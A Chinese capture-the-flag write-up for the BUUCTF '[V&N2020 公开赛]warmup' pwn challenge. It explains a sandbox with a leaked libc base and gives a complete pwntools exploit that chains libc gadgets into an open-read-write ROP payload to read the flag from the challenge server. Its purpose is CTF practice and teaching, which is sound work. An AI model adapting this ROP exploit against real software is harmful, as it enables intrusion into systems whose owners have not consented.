BUUCTF--[V&N2020 公开赛]warmup

一开始直接告诉你libc基址。

有沙盒,分析了一下,write的count不等于0x10就可以,0x30什么的都可以。

嗯,还开了PIE。

很明显了,orw。 问题是开了PIE,b'flag\x00'不能写在BSS上了,同时也不能重复执行main。

怎么办呢,细心的小伙伴会发现我们知道libc的基址,那可以写在libc的bss上面啊。

这是第一段写入,不能溢出。

这是第二段,如果你用gdb调试一下或看看汇编就可以发现,如果这个0x80写满会和上面的0x180连起来。那就很简单了,从libc里面找gadget就好了。

以下是exp:

python 复制代码
from pwn import *
context.arch='amd64'
#io=process('./pwn')
io=remote('node5.buuoj.cn',25603)
libc=ELF('./libc-2.23.so')
io.recvuntil(b'Here is my gift: ')
libc_base=int(io.recv(14),16)-libc.sym['puts']
print('libc_base:',hex(libc_base))
libc.address=libc_base
ope=libc.sym['open']
read=libc.sym['read']
puts=libc.sym['puts']
write=libc.sym['write']
rdi=libc_base+0x21102
rsi=libc_base+0x202e8
rdx=libc_base+0x1b92
push_rsi=libc_base+0x34bcf
bss=libc.bss()
print('bss',hex(bss))
io.recvuntil(b'Input something: ')
payload=p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)
payload+=p64(read)+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(ope)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(read)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(write)
io.send(payload)
io.recvuntil(b"What's your name?")
payload=b'a'*0x78+p64(rdi)
io.send(payload)
sleep(0.1)
io.send(b'flag\x00')
io.interactive()

这里注意一点,open的第二个参数一定要特意写一下。

以下是通义千问的解释:

在不指定rsi的情况,open会直接将rsi里面的值作为flag值,而rsi里面有时候存着地址,是一个极大值,可能会引起一些意想不到的问题。例如这题中,执行rop的时候rsi存着的是buf的地址,是一个极大值,一开始我没有pop rsi为0,导致执行了好几遍都没法orw成功,加上了pop rsi 0才成功读出flag。

相关推荐
刘婉晴几秒前
【信息安全工程师备考笔记】第三章 密码学基本理论
笔记·安全·密码学
向哆哆2 小时前
Java 安全:如何防止 DDoS 攻击?
java·安全·ddos
浩浩测试一下3 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构
浩浩测试一下6 小时前
SQL注入高级绕过手法汇总 重点
数据库·sql·安全·web安全·网络安全·oracle·安全架构
极小狐9 小时前
极狐GitLab 项目功能和权限解读
运维·git·安全·gitlab·极狐gitlab
国科安芯11 小时前
面向高性能运动控制的MCU:架构创新、算法优化与应用分析
单片机·嵌入式硬件·安全·架构·机器人·汽车·risc-v
迷路的小绅士12 小时前
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
前端·安全·web安全
自由鬼13 小时前
开源漏洞扫描器:OpenVAS
运维·服务器·安全·网络安全·开源·漏洞管理
Python_金钱豹13 小时前
Text2SQL零代码实战!RAGFlow 实现自然语言转 SQL 的终极指南
前端·数据库·sql·安全·ui·langchain·机器人
广东航连科技14 小时前
银行网点款箱交接权限认证开锁与密钥时效双重监控
物联网·安全·银行·精细化管理·锁控·智能锁·款箱